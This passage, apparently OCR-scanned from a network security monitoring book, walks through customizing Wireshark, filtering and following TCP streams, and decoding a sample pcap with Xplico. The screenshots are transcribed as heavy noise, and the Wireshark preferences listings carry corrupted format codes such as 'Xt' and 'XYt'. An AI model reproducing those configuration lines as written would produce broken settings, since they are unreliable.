see in the First Packet field, the trace begins at 2013-02-10 13:09:28 and 
lasts 8 minutes and 16 seconds (shown in the Elapsed Time field). 


3. Uncheck the Enable MAC Name Resolution and Enable Transport Name 
Resolution options so that you'll see numbers rather than names for 
these fields, and then click Open. 


Wireshark: Open Capture File 


L (| nsm sensor data | sademo-eth1 | dailylogs 2 )13-02-: 


Places Name v Size Modified 
Q Search |=) snort.log.1360494635 103.4 MB: 02/10/2013 
@ Recently Used Bi snort.log. 1360501765 11.9MB 02/10/2013 
iij sademo 

E Desktop 

Lj File System 

(©) SecurityOnion 1... 

Ld Floppy Drive 

[3 Documents 

@ Download 

Pl music 





[V]Fiter: [ Filename: snort.log.1360501765 


Format: Wireshark/tcpdump/... - libpcap 
[| Enable MAC name resolution Size: 12485022 bytes 


(| Enable network name resolution Packets: 19866 
M [Enable transport name resolution First Packet: 2013-02-10 13:09:28 


Elapsed time: 00:08:16 





Qon | Sa0pen | 


Figure 7-2: Opening a trace in Wireshark 


Modifying the Default Wireshark Layout 


After opening a trace, the default Wireshark layout displays the fields shown 
in Figure 7-3. These include information such as the packet number, a time- 
stamp measured in time since the first packet, source and destination IP 
addresses, the protocol, and messages about the packet (in the Info field). 
If you would prefer a different layout, you can change the default either 
through the GUI or by editing the preferences file. 
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Y Wireshark: Preferences - Profile: Default 
Y User Interface Columns 
Layout 


Font No. Number 
Colors Time (format as specified) 


Capture Source Source address 


Printing Destination: Destination address 
Name Resolution Protocol Protocol 
Statistics f Length Packet length (bytes) 


> Protocols Info Information 


Properties 





Add -— > 
k Field type: Time (format as specified) = 
Qkemove Field name: | | 








Figure 7-3: Default columns in Wireshark 


Modifying the Layout Using the GUI 


I prefer a Wireshark layout that shows absolute date and time, along with 
the source and destination port numbers. We'll set up that layout as an 
example of how to use the Wireshark GUI to modify displayed columns to 
better show relevant packet fields. 

To change the default layout settings, follow these steps: 


Select Edit > Preferences » Columns. 
Highlight the Time row. 
Change the Field Type field to Absolute Date and Time. 


Change the Source Address field to Src Addr (unresolved) and the 
Destination Address field to Dest Addr (unresolved). 


5. Click Add, and then select Source Port (unresolved). 

6. Double-click the New Column field and replace the Title entry with 
SrcPort. 
Click Add again, and add Dest Port (unresolved). 
Double-click the New Column field and replace the Title entry with 
DstPort. 


9. To hide the Length field that shows the packet length in bytes, high- 
light that field and click Remove. 


pe pe cher ces 
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10. Click and drag each of the new columns to the locations shown in 
Figure 7-4. 


v Wireshark: Preferences - Profile: Default 
Y User Interface Columns 
| Layout . 
| Columns | Displayed Title Field type 
Font | RM No Number 
Colors J Time Absolute date and time 
Capture Source Src addr (unresolved) 
Printing SrcPort Src port (unresolved) 
Name Resolution Destination: Dest addr (unresolved) 
Statistics DstPort Dest port (unresolved) 


|> Protocols | Protocol Protocol 


Properties 
wp Add i r 
Field type: Information 


© Remove Field name: f 


Figure 7-4: Customizing the Wireshark layout 











11. Click Apply, and then click OK. 


Modifying the Preferences File 


If you prefer a more direct approach to modifying the screen layout, edit 
the .wireshark/preferences file. First, you need to create this file by choos- 

ing Edit > Preferences >} Columns > Apply > OK, with or without making 
changes. Then you should find a .wireshark/preferences file in your home direc- 
tory. This file controls Wireshark's column layout and is shown in Listing 7-1. 


# Packet list column format. 
# Each pair of strings consists of a column title and its format. 
column. format: 

"No.", "Am", 

"Time", "Xt", 

"Source", "As", 

"Destination", "Xd", 

"Protocol", "Xp", 

"Length", "AL", 

"Info", "%i" 





Listing 7-1: Contents of the .wireshark/preferences file 
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Close Wireshark and edit the fields in .wireshark/preferences so that they 
appear as shown in Listing 7-2 (with changes shown in bold). Also, delete 
the Length field entirely. 


# Packet list column format. 
# Each pair of strings consists of a column title and its format. 
column.format: 
"No.", "Am", 
"Time", "XYt", 
"Source", "Aus", 
"SrcPort", "XuS", 
"Destination", "Aud", 
"DstPort", "XuD", 
"Protocol", "Ap", 
"Info", "mi" 





Listing 7-2: Edited contents of the .wireshark/preferences file 


When you restart Wireshark and open a trace, the GUI will now display 
columns as shown in Figure 7-5. This is a trace from a demo SO stand- 
alone system with the display filter arp or ip.addr--192.168.2.127, which tells 
Wireshark to show Address Resolution Protocol (ARP) frames, or any traf- 
fic involving 192.168.2.127. 


z snort.log.1360501765 [Wireshark 1.6.7 ] 
File Edit View Go Capture Analyze Statistics Telephony Tools Internals 


EX iol (gu o 2 tit Q : 


Filter: | arp or ip.addr==192.168.2.127 v | Expression... Clear App 











Time Source SrcPort Destination DstPort Protocol Info f 
19 2013-02-10 13:09:29.9 192.168.2.127 39245 172.16.2.1 53 DNS Standard query AAAA 0.ubuntu.pool.ntp.org 








Frame 19: 81 bytes on wire (648 bits), 81 bytes captured (648 bits) 
> Ethernet II, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:b9:27:f1:48) 
> Internet Protocol Version 4, Src: 192.168.2.127 (192.168.2.127), Dst: 172.16.2.1 (172.16.2.1) 
> User Datagram Protocol, Src Port: 39245 (39245), Dst Port: 53 (53) 
> Domain Name System (query) 








00 Od b9 27 f1 08 

00 43 f5 52 40 02 

102 01 99 4d 00 01 00 
[DO 00 00 00 00 6e 74 75 
0 6f 6f 6c 03 00 




















= Packets: 19866 Displayed: 388 Marked: 0 Load time: 0:00.523 


Figure 7-5: Wireshark showing new column preferences and display filter 


Some Useful Wireshark Features 


Now that you have Wireshark up and running, we'll discuss a few of my 
favorite Wireshark features, including the ability to see low-level proto- 
col features in detail. Although Tshark offers this feature, Wireshark's 
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graphical nature makes it easier to jump from one element to another. 

I also enjoy adding and removing display filters in Wireshark. Again, 
you can do this with Tshark, but each new filter requires running Tshark 
again. In Wireshark, all it takes is applying the new filter in the GUI. Also, 
Wireshark exposes features for controlling how data is decoded, following 
streams, and exporting object functions; these help analysts manipulate 
traffic in ways not offered in Tshark. 


Viewing Lower-Level Protocol Features in Detail 


Wireshark permits analysts to see lower-level protocol features in extreme 
detail. Its deep understanding of protocols allows it to decode just about 
every field it encounters, assuming the traffic is unencrypted and recog- 
nized by its protocol dissectors. (Should you encounter encrypted sessions, 
Wireshark offers some capabilities for incorporating cryptographic keys to 
decrypt traffic.) 

For example, Figure 7-6 displays an ARP request message. Looking only 
at the hex and ASCII values in the bottom pane, you would be hard-pressed 
to understand all of the elements of this frame. However, the protocol decode 
in the middle pane explains every field quite clearly. Whatever field you high- 
light in the middle pane is highlighted in the corresponding hex and ASCII 
output in the bottom pane. 


- snort.log.1360501765 [Wireshark 1.6.7 ] 
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


FAAA ATEH 2 ATE 
arp or ip.addr==192.168.2.127 X | Expression... Apply 


No. Time Source SrcPort Destination DstPort Protocol Info 











575 2013-02-10 13:09:54.1.00:13:10:65:2f:ac 00:0d:b9:27:f1:48 Who has 172.16.2.1? Tell 172.16.2.2 
576 2013-02-10 13:09:54.1:00:0d:b9:27:f1:48 :00:13:10:65:2f:ac : :172.16.2.1 is at 00:0d:b9:27:f1:48 








> Frame 575: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) 
> Ethernet II, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:b9:27:f1:48) 
Y Address Resolution Protocol (request) 

Hardware type: Ethernet (1) 

Protocol type: IP (0x0800) 

Hardware size: 6 

Protocol size: 4 

Opcode: request (1) 

[Is gratuitous: False] 

Sender MAC address: 00:13:10:65:2f:ac (00:13:10:65:2f:ac) 

Sender IP address: 172.16.2.2 (172.16.2.2) 

Target MAC address: 00:00:00:00:00:00 (00:00:00:00:00:00) 

Target IP address: 172.16.2.1 (172.16.2.1) 








08 00 06 04 00 01 00 13 10 65 2f ac ac 10 02 02 


TSO ac 10 02 01 00 00 00 00 00 00 


00 00 00 00 00 00 OO OO 26 d9 60 95 . 
9) Target MAC address (arp.dst.hw mac), ... = Packets: 19866 Displayed: 388 Marked: 0 Load time: 0:01.069 





Figure 7-6: Wireshark explains an ARP request message. 


Omitting Traffic to See Remnants 


Another particularly useful feature of Wireshark is its ability to filter traf- 
fic to show you interesting remnants. Sometimes I hunt for traffic by tell- 
ing Wireshark what to ignore so that I can examine what’s left behind. I 
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start with a simple filter, review the results, add another filter, review the 
results, and so on until I'm left with a small amount of traffic to analyze. 
For example, Listing 7-3 shows how I progressively built a display filter to 
search for noteworthy traffic. 


not http and not ntp and not dns and not tcp.port--443 and not tcp.port--80 
and not icmp and not tcp.port--5223 and not arp 





Listing 7-3: Display filter omitting traffic in Wireshark 


This filter omits the following: 


e HTTP traffic 

e NTP traffic 

e DNS traffic 

e Any traffic on port 443 TCP 

e Any traffic on port 80 TCP 

e ICMP traffic 

e Any TCP traffic on port 5223 (Apple Push Notification service) 
e Address Resolution Protocol (ARP) traffic 


The result is shown in Figure 7-7. 


Z snort.log.1360501765 [Wireshark 1.6.7 ] 
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


E gal Bl Ql a Te cS Q 


: |p.port==80 and not icmp and not tcp.port==5223 and notarp v 








SrcPort Destination 
11626 2013-02-10 13:13:09.4.192.168.2.104 60560 74.201.145.181 Seq-0 Win-8192 Len-0 MSS= 


11635 2013-02-10 :113:09.4:192.168.2.104 74.201.145.181 i Seq-1 Ack-1 Win-17520 Le! 
11636:2013-02-10 113:09.4:192.168.2.104 74.201.145.181 4 ACK] Seq-1 Ack-1 Win-1752| 
11648:2013-02-10 113:09.4!74.201.145.181 :192.168.2.104 ACK] Seq-1 Ack-705 Win-50 
11650:2013-02-10 113:09.51192.168.2.104 i 74.201.145.181 Seq=1 Ack=1 Win=17520 Le 
11691: 2013-02-10 :13:09.7 192.168.2.104 74.201.145.181 Seq-705 Ack-480 Win-17040 


12113:2013-02-10 113:14.6:74.201.145.181 192.168.2.104 E Seq-1 Ack-2 Win-4380 Len: 


12116:2013-02-10 113:14.6/192.168.2.104 A :74.201.145.181 Seq-2 Ack-2 Win-17520 Le 


12199:2013-02-10 :113:24.6/192.168.2.104 i 74.201.145.181 i Seq-705 Ack-481 Win-17040 


12201:2013-02-10 13:13:24.6174.201.145.181 10002 :192.168.2.104 d Seq-481 Ack-706 Win-5084 








> Frame 11626: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) = = | SS e = 
> Ethernet II, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:b9:27:f1:48) 
> Internet Protocol Version 4, Src: 192.168.2.104 (192.168.2.104), Dst: 74.201.145.181 (74.201.145.181) 








00 Od b9 27 f1 48 00 13 10 65 2f ac 08 00 45 00 
00 34 79 d2 40 00 7f 06 e2 62 cO a8 02 68 4a c9 
91 b5 ec 90 27 12 4e ba 41 f8 00 00 00 00 80 02 
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04 02 


@ File: "/nsm/sensor data/sademo-eth1/... : Packets: 19866 Displayed: 17 Marked: 0 Load time: 0:00.431 - 





















































Figure 7-7: Traffic remaining after applying the display filter in Listing 7-3 
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Following Streams 


Figure 7-7 shows two sets of TCP streams. The destination port for each is 
10002, but the source port for one stream is 60560 and the other is 60563. 
With the two streams intertwined, it is somewhat difficult to follow what is 
happening. Another drawback to this approach is that I'm more interested 
in the content of the conversation, rather than a packet-by-packet list. This 
brings me to my third favorite Wireshark feature: following streams. 

Wireshark can identify all TCP segments in a stream, reassemble them 
using a specific algorithm, and present the results as text. This capabil- 
ity makes it easy to identify the purpose of a conversation and determine 
whether it is benign, suspicious, or malicious. 

To tell Wireshark to reassemble a TCP stream, highlight one of the 
packets in a stream, right-click, and choose Follow TCP Stream, as shown 
in Figure 7-8. 
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> Frame 11636: 758 bytes on wire (4 
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Figure 7-8: Choosing Follow TCP Stream in Wireshark 


For this example, Wireshark renders the stream shown in Figure 7-9. 
The text at the top shows a GET request from a web browser. The text begin- 
ning with HTTP/1.1 200 OK shows a web server's reply. 

Notice that the web client mentions the Accept-Encoding: gzip, deflate 
option. The reply from the web server is actually gzip-encoded, but Wireshark 
unzips the content and displays cleartext. We recognize this traffic as HTTP, 
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even though Wireshark did not identify it as such by default. (In the figure, 
I've redacted possibly sensitive information from the transcript involving 
the cookie used during this exchange.) 


v Follow TCP Stream 


Stream Content 


GET /bidder/am/notify?id 
sz2-728x90&dn-coloring.ws&wp-1.08&uid-CAESEK 
8&1i-137162 HTTP/1.1 


Host: lbinapnym.bidder.owneriq.net:10002 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 
Accept: image/png,image/*;q-0.8,*/*;q-0.5 

Accept-Language: en-US,en;q-0.5 

Accept-Encoding: gzip, deflate 

Referer: http://www.coloring.ws/t main.asp?t-http://www.coloring.ws/animals/cats/ 
cat16.gif 


apq-.; rpq=.; si 
Connection: keep-alive 


HTTP/1.1 200 OK 

Server: Apache-Coyote/1.1 

P3P: policyref-"/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM 
INT OTC PUR STA" 

Set-Cookie: si- MEE Domain=.owneriq.net; Expires=Fri, 09-Feb-2018 
13:13:09 GMT; Path=/ 

Set-Cookie: 

Content-Type: image/gif 

Content-Length: 43 

Date: Sun, 10 Feb 2013 13:13:09 GMT 


GIF89a 


| Entire conversation (1183 bytes) 


Zj 





| QFind | [F save As | Print |^ ASCH CO EBCDIC CO HexDump =) CArays — (9 Raw 





| @relp | | [V] Filter Out This Stream | 3€ Close 





Figure 7-9: Wireshark displays a reassembled TCP stream. 


Setting the Protocol Decode Method with Decode As 


After reassembling a stream as discussed in the previous section, Wireshark 
will display only the packets in that stream in the main window. To change 
the way that Wireshark sees this traffic, use the Decode As option. This tells 
Wireshark to apply a certain protocol decode method to specific traffic. 

As an example, we'll tell Wireshark to think of traffic to port 10002 
as HTTP. 


l. Rightclick one of the packets in the stream to be decoded, and click 
Decode As, as shown in Figure 7-10. 


2. You will see a menu asking which ports Wireshark should decode. For 
this example, choose Destination (10002) in the TCP Port(s) field. 


Scroll through the protocols listed on the right to find and select HTTP. 
4. Click Apply. 


d 
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Figure 7-10: Selecting Decode As 


You'll see that Wireshark now understands a GET request and a web 
server reply, as shown in Figure 7-11. For example, notice how frames 11636 
and 11648 are now listed as HTTP in Wireshark’s Protocol column. 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
ly | Clear Apply, 


Source SrcPort Destination DstPort Protocol Info 
11626 2013-02-10 13:13:09.4 192.168.2.104 60560 74.201.145. 10002 TCP 10002 Seq=0 Win=8192 Len=0 MSS= 











11635 2013-02-10 13:13:09.4:192.168.2.104 :74.201.145. 10002 Seq-1 Ack-1 Win-17520 Lei 


11691 2013-02-10 13:13:09.7:192.168.2.104 74.201.145. E 10002 Seq-705 Ack-480 Win-17040 
12199:2013-02-10 13:13:24.6/192.168.2.104 74.201.145. 10002 Seq-705 Ack-481 Win=17040 


12201.2013-02-10 13:13:24.6174.201.145.181 :192.168.2.104 d Seq-481 Ack-706 Win-5084 





Wireshark: Decode As 








> Frame 11626: 66 bytes on wire (! [TCP | destination (10002) | port(s) as 


> Ethernet II, Src: 00:13:10:65:2 


b Internet Protocol Version 4, Si 
IPSICTL 


Show Current 
—— IRC 


ISAKMP 














00 Od b9 27 f1 48 00 13 
00 34 79 d2 40 00 7f 06 
91 b5 ec 90 27 12 4e ba 
20 00 Ob 32 00 00 02 04 











04 02 
File: "/nsm/sensor. data/sademo-eth1/... : Packets: 19866 Displayed: 10 Marked: 0 Load time: 0:00.823 

















Figure 7-11: Wireshark decodes port 10002 TCP as HTTP. 
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Following Other Streams 


Depending on the protocol, Wireshark can also follow other sorts of streams, 
such as UDP or Secure Sockets Layer (SSL). (Because UDP is not a session- 
oriented protocol like TCP, Wireshark makes its best assessment of which 
UDP packets make up a UDP "session." 

Additionally, Wireshark can extract content from some streams, such 
as HTTP objects, Server Message Block (SMB) objects, and Digital Imaging 
and Communications in Medicine (DICOM) objects. For example, at the 
bottom of Figure 7-9, we see that the web server sent a 43-byte .gif file to 
the web client. We can use Wireshark's HTTP objects export function to 
investigate this file. Select File > Export » Objects > HTTP to access this 
feature. You'll see a window showing all HTTP objects that Wireshark rec- 
ognizes in the trace, including HTML pages, JavaScript, text, images, and 
other objects. To access the packet of interest here, scroll down to packet 
11648, which contains the HTTP/1.1 200 OK (GIF89a) message, as shown in 
Figure 7-12. Then click Save As, name the file, and save it. 

File Edit View Go Capture Analyze Statistics Telephony oe l ume p 
Gago SAxeu a =a) 
fepsteameqz 0000000000000 00e 


Source SrcPort Destination DstPort Protocol Info 








11635 2013-02-10 13:13:09.4:192.168.2.104 60560 :74.201.145.181 10002 TCP :60560 > 10002 [ACK] Seq=1 Ack-1 Win=17520 Le 


11648 2013-02-10 13:13:09.4°74.201.145.181 10002 192.168.2.104 60560 HTTP HTTP/1.1 200 OK (GIF89a) 
11691 2013-02-10 13:13:09.7:192.168.2.104 :60560 :74.201.145.181 10002 TCP 60560 » 10002 [ACK] Seq-705 Ack-480 Win-17040 


Wireshark: HTTP object list " 
pe———————— - CoE ACK] Seq-705 Ack=481 Win=17040 
Packet num Hostname Content Type Bytes Filename 


~oar roana PPa avan pe poorer 


11603 www. burstnet.com text/html 1198 JS Ilse EAE Kc OG EMI One 

11617 tag.admeld.com application/javascript admeld f 

11630 c.betrad.com application/x-javascript surly.js?;: 

11634 ad.doubleclick.net text/javascript 21320238 
www.coloring.ws text/html 





Ibinapnym.bidder.owneriq.net: 10002 
ad.doubleclick.net text/html 
pixel.adsafeprotected.com image/gif ?anid-96 


www.coloring.ws image/gif cat14.gif 


www.coloring.ws image/gif cat13.gif | | 


www.coloring.ws image/gif cat9.gif 





www.coloring.ws image/gif cat18.gif 























Figure 7-12: Wireshark HTTP object list 


Upon reviewing the .gif, you'll find that it's a 1x1 pixel image, perhaps 
for tracking and advertisement purposes. The web server in question at 
74.201.145.181 is owned by OwnerIQ, described at hitp://www.owneriq.com/ 
as “THE advertising network that pioneered the concept of Ownership 
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Targeting. ... We enable advertisers to define and reach their ideal online 
consumer.” That sounds like the sort of service that might deploy a 1x1 “web 
bug" image on a nonstandard port for tracking purposes. 

As you can see, Wireshark equips us with the ability to pivot from one 
datatype to another, applying extra processing to certain protocols when 
possible. That's just the beginning! As I suggested at the beginning of this 
section, read a book devoted to Wireshark to learn more about its capabilities. 


Using Xplico 


Xplico (hitp://www.xplico.org/) is an open source network forensic analysis 
(NEA) tool that understands many network protocols and will carve out the 
information it recognizes. 


Gianluca Costa and Andrea De Franceschi developed Xplico under the GNU General 
Public License version 2. 


As an NFA tool, Xplico is most often used against a saved trace file to 
extract and interpret interesting content, as we will do in this chapter's 
example. Xplico can also sniff traffic live from the wire. However, the 
authors don't recommend running Xplico against a live interface and say 
that is more for demonstrations than production use. 

To understand Xplico, we'll use it to analyze network traffic available 
through the Digital Corpora project (hitp://www.digitalcorpora.org/). Digital 
Corpora is a National Science Foundation grant-funded collection of digi- 
tal evidence, led by forensics guru Simson Garfinkel. Analysts and students 
can use the Digital Corpora project to download and interpret data from 
cell phones, hard drives, and network traffic in order to learn how to use 
forensic tools and techniques. 

We'll use the pcap file bundled in the “Nitroba University Harass- 
ment Scenario" (Attp://digitalcorpora.org/corpora/scenarios/nitroba-university 
-harassment-scenario/) posted at Attp://digitalcorpora.org/corp/mps/pachets/ 
2008-nitroba/nitroba.pcap. The trace is approximately 55MB and contains a 
variety of network traffic suitable for NSM and forensic review. Download 
the nitroba.pcap file before trying to use Xplico. 


Running Xplico 

Xplico is managed via a web browser. By default, SO is configured to allow 
only local access to the Xplico web server. Remote users must either tunnel 
traffic via OpenSSH (as discussed in Chapter 5) or alter the firewall rules 
to permit remote access to port 9876 TCP. Choose the option that best meets 
your needs. 


When first accessing Xplico, you may see an error like the one shown in 
Figure 7-18. 
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Xplico is not running! 


For starting Xplico, please choose one of these options as root: 
ib a) If you are using the Ubuntu/Debian package, run: "/etc/init.d/xplico start" 
b) Run: "/opt/xplico/script/sglite demo.sh" 


Licenses 








Figure 7-13: By default, Xplico is not running. 


This error means that while the Apache web server on SO is serving 
pages, the Xplico service is not yet active. Fix that by running the command 
shown in Listing 7-4. 





$ sudo service xplico start 
* Starting Xplico 
Modifying priority to -1 [ OK ] 





Listing 7-4: Starting the Xplico service 


Now reload the web browser and choose a language. Next, use the 
username xplico and the password xplico to log in, as shown in Figure 7-14. 
(Selecting the language changes the URL but does not show the language 
choice in the Language drop-down box.) 


i Xplico ..:Users:.. 
€ > Q (xbup$//192.168.2.127:9876/users/login/eng 
Xplico Interface 


Login Licenses 


Info 
About —Language— X 














us Please login 


Forum 


Licenses Username 
xplico 
Password 





Figure 7-14: Logging in to Xplico 


Creating Xplico Cases and Sessions 

Xplico organizes network traffic as sessions and refers to analysis sessions as 

cases. To start a new case and a session to interpret, follow these steps: 

1. Select New Case and leave the default Data Acquisition method set to 
Uploading PCAP Capture File/s, as shown in Figure 7-15. 


2. Enter a case name, and then click Create. 


IC. Xplico .:Pols:.. x 








€ CŒ (x bitpS://192.168.2.127:9876/pols/add w = 
Xplico Interface xplico 
Help Forum Wiki  Changepassword Licenses Logout 
Case New Case 

Cases 

New Case 
G M DATA ACQUISITION 

9 Uploading PCAP capture file/s 2 Live acquisition 


Case name  pnsm01 
External reference 
Create 











Figure 7-15: Creating a new case in Xplico 


3. After creating a new case, you should see it listed in a cases list. Click 
the name of the case to continue. 


Click the New Session link in the upper-left menu to create a new session. 
5. Give the session a name, as shown in Figure 7-16, and then click Create. 


(Xplico will allow only alphanumeric characters in session names, so 
you cannot use dashes in the name.) 


IC. Xplico .:Sols.. x 


e C  (Xb5p$//192168.2127:987 
Xplico Interface xplico 


Help Foum Wiki Change password Logout 








Case New listening session 
Cases 


Sessions 


Session name pnsm01session01 
Create 














Figure 7-16: Creating a new session in Xplico 


With the new session created, Xplico is now ready to process network 
traffic. 


Processing Network Traffic 


To process network traffic, click the name of the session. You will see a 
screen like the one shown in Figure 7-17. Because we have not processed 
any traffic yet, Xplico will not show any results. 

Select Choose File, browse to the nitroba.pcap file you downloaded ear- 
lier, click Open, and then click Upload. The web browser should report that 
it is uploading the file. Once the file has been uploaded, Xplico will display 
“File uploaded, wait start decoding...” at the top of the screen. 

It will probably take a few minutes for Xplico to process the traffic, 
depending on your hardware. Once Xplico has finished decoding the 
traffic, it should report Decoding Completed in the Status field. Its main 
screen will display statistics on the sorts of traffic it recognized and inter- 
preted, as shown in Figure 7-18. 


Graphical Packet Analysis Tools 149 













IC Xplico .. 
€ Q &pupt//1921682127 





Xplico Interface 


Help Forum Wiki Change passwo Licenses 





Logout 














Case and Session name pnsm01 -> pnsm01session01 PCAP-over-IP TCP port: 30002. 


Cap. Start Time 0000-00-00 00:00:00 Add new pcap file. 
E n Cap. End Time 0000-00-00 00:00:00 No file chosen 
Status EMPTY 
Hosts Es Upload 
List of all pcap files. 


i _ as (webmail) 
© Chat Post 0 Number 0 Received 0 Connections 0-0 Total 0 
Get 0 Contents 0 Sent 0 Downloaded 0-0 Received 0 
Video 0 Video 0 Unreaded — 0/0 Uploaded 0-0 Sent 0 
Images 0 Images 0 HTTP 0 








G 


ha 








Server 0 DNS res 0 Video 0 Groups 0 
Channels X 0/0/0 ARP/ICMPv6 0/0 Audio 0 Articles 0 


Pdf 0 Connections 0/0 Calls 0 Text flows 0/0 

























Help Forum Wiki Changepassword Licenses Logout 





Case and Session name pnsm01 -> pnsm01session01 PCAP-over-IP TCP port: 30002. 
Cap. Start Time 2008-07-22 01:51:07 Add new pcap file. 

Cap. End Time 2008-07-22 06:13:47 [Choose File ) 

Status DECODING COMPLETED Choose File | No file chosen 
Hosts Upload 











List of all pcap files. 


Filter 

Post Number 0 Received 0 Connections 0-0 Total 0 
Contents 0 Sent 0 Downloaded 0 - 0 Received 0 
Video 0 Unreaded — 0/0 Uploaded 0-0 Sent 0 
Images 0 HTTP 16 
Server 0 DNS res 718 Video 0 Groups 0 
Channels 0/0/0 ARP/ICMPv6 4080/0 Audio 0 Articles 0 
Pdf 0 Connections 0/0 Calls f Text flows 28/334 





Figure 7-18: Xplico has finished decoding the trace file. 


Understanding the Decoded Traffic 


At this point, an analyst can peruse the decoded traffic for content of inter- 
est. This investigative method differs from that of the previous tools, which 
interact with packets or sessions. With Xplico, analysts manipulate and 
browse extracted content. 

For example, an analyst may want to know if video content was trans- 
ferred during a web browsing session. In fact, Figure 7-18 shows 1 in the 
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Video field in the HTTP section of the summary screen. This means Xplico 
extracted video content from the network traffic and can make it viewable 
to users. To access the content, click the Web link in the upper-left corner 
of the Xplico display, and then click the Site link that appears next. 

By default, Xplico will show the last 16 web sessions, with the newest 
listed first, as shown in Figure 7-19. 


IC. Xplico .: Webs... 





Wiki Cha d cel s Logout 


For a complete view of html page set your browser to use Proxy, and point it to Web server. 


Web URLs: @Htmi Olmage OFlash J Audio D JSON > All 























Search: Go 
Feed Date c a Url . Size Method Info 
Images 2008-07-22 06:11:34 — www.google.comrfirefox?client-firefox-a&ris-org.mozilla:en-US:official 2756 GET _info.xml 


CD 2008-07-22 06:11:32 en-us.start2.mozilla.com/firefox?client=firefox-a&ris=org.mozilla:en-US:official 278 GET — info.xml 
(CETINEME 2090722061132 — trackcsettathon.comitrack2.php? s10-2202722716218.501-1216707103.4578.522-12 493 GET __infoxmt 
CED 2008-07-22 06:11:09 _ pn1.adserver.yahoo.com/a?I=SKY&pd_id=nY%2BsHZ2PrBmdj6wVnY%2BsEZ2PrA2dj6wJkYKnDJSApA%2B¢ 929 GET  infoxml 
a 2008-07-22 06:11:09 — ad.yieldmanager.com/st?ad type-iframe&ad size-160x600&site-140060&section code-12796317&cb-12* 1141 GET — infoxml 
2008-07-2206:11:09 — pn1.adserver.yahoo.com/a?I=N&pd_id=nY%2BsHZ2PrBmdj6wVnY%2BsEZ2PrA2dj6wJkYKnDJSApA%2Bdj6 976 GET — infoxml 


Kénhanc 2008-07-2206:10:44 — linkarena.com/tag/business 242 GET  info.xml 
2008-07-22 06:10:44 — linkarena.com/tags/business 44357 GET  info.xml 
2008-07-2206:10:35 — linkarena.com/ 25314 GET  info.xml 
2008-07-2206:10:20 — view.atdmt.com/NYC/iview/yhxxxstw2570000040nycidirect/01/1216706999?click-http://ad.yieldmanager.cor 8977 GET  info.xml 
2008-07-2206:10:29 — ad.yieldmanager.com/st?ad type-iframe&ad size-160x600&site-140060&section code-127963178cb-12* 1100 GET  info.xml 
2008-07-22 06:10:29 — ad.yieldmanager.com/st?ad type-iframe&ad size-728x90&site-140060&section code-12796346&cb-121t 539 GET  info.xml 
2008-07-22 06:10:13 — counter.marketplaceadvisor.channeladvisor.com/cgi-bin/ebayCounter.asp?id=323737561 139 GET  info.xml 
2008-07-22 06:10:12 — www. weather.com/outlook/travel/businesstraveler/local/USCA0820 175532 GET  info.xml 
2008-07-22 06:10:00 ^ ad.yieldmanager.com/st?ad type-iframe&ad size-728x90&site-140060&section code-12796346&cb-121€ 1272 GET — infoxml 
2008-07-2206:10:00 ^ ad.yieldmanager.com/st?ad type-iframe&ad size-160x600&site-140060&section code-12796317&cb-12* 1144 GET _info.xml 





nr Go| 








Figure 7-19: Xplico’s list of web sessions 


To access the video content that Xplico identified, click the Video radio 
button at the top of the screen, and then click Go. Xplico shows a link to a 
googlevideo.com site, as shown in Figure 7-20. 





Licenses Logout 


CD For a complete view of html page set your browser to use Proxy, and point it to Web server. 

Web URLs: Html © Image 5 Flash 9 Video 2 Audio 2JSON OAM 
Site Search: Go 
Feed Date Url Size Method 
Images 2008-07-22 04:47:30 ^ v6.cache.googlevideo.comget video?video id-WalRSdAZRRÜ&amp;origin-lax-v258.lax youtube.com&amp;signaturej (a) 4632714 GET 





© Undecoded 


n 














Figure 7-20: One video link in the Digital Corpora trace 
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Clicking the info.xml link at the far right reveals options to see metadata 
about the trace, as well as a link to download pcap. Most interesting, clicking 
the URL shown in Figure 7-20 or the gray box to the right of the link will 
open the video for viewing, as shown in Figure 7-21. This video is not being 
streamed from the Web; it's a reconstruction of the video as downloaded 
when the network traffic was originally captured. 


IC Xplico . T 
€ > C & bieps//192.168.2.127:9876/webs/index 


wc PREVIEW 
ALL AUDIENCES 


00:01 





Figure 7-21: Reconstructing a video downloaded from the Web 


It’s also possible to browse thumbnails of images downloaded while this 
network trace was being captured. As shown in Figure 7-22, someone went 
shopping for a backpack at eBay. 








8 


thumbs3.ebaystatic.com thumbs 1 ebaystatic.com thumbs3.ebaystatic.com thumbs3.ebaystatic.com 
Image or Page Image or Page image or Page Image or Page 














© Undecoded 
Q hance thumbs3.ebaystatic.com thumbs3.ebaystatic.com thumbs1.ebaystatic.com thumbs3.ebaystatic.com 
nnance Image or Page Image or Page Image or Page Image or Page 


thumbs 1 ebaystatic.com thumbs3.ebaystatic.com thumbs3.ebaystatic.com thumbs3.ebaystatic.com 
Image or Page Image or Page image or Page Image or Page 


Figure 7-22: Reconstructing images downloaded from the Web 


Getting Metadata and Summarizing Traffic 


Besides reconstructing interesting content, Xplico provides some metadata 
and summarization of the traffic it understands. To see this in action, fol- 
low these steps: 


l. Under the Graphs menu item in the upper-left portion of the screen, 
click the DNS link to tell Xplico to show a sorted list of DNS queries. 


2. Atthe top of the screen, a red, yellow, and green pie chart icon will 
appear. Click that icon to display a bar chart of DNS responses, with 
a tab for Host Popularity in the upper-right corner. 


3. Click the Host Popularity tab to see a chart with DNS queries ordered 
by frequency, as shown in Figure 7-23. 


IC Xplico .:Dns Messages. x 


xplico 





Host Popularity 


GeoMap 





Q 


uoo uoneopufser 














Figure 7-23: Xplico graphs DNS queries by frequency. 
4. Highlight any bar to display the hostname queried and a response 
count. 


Xplico makes it very easy to review a variety of content captured in a 
network trace. By publishing the data through SO's Apache web server, the 
authors allow anyone with a web browser and authenticated access to review 
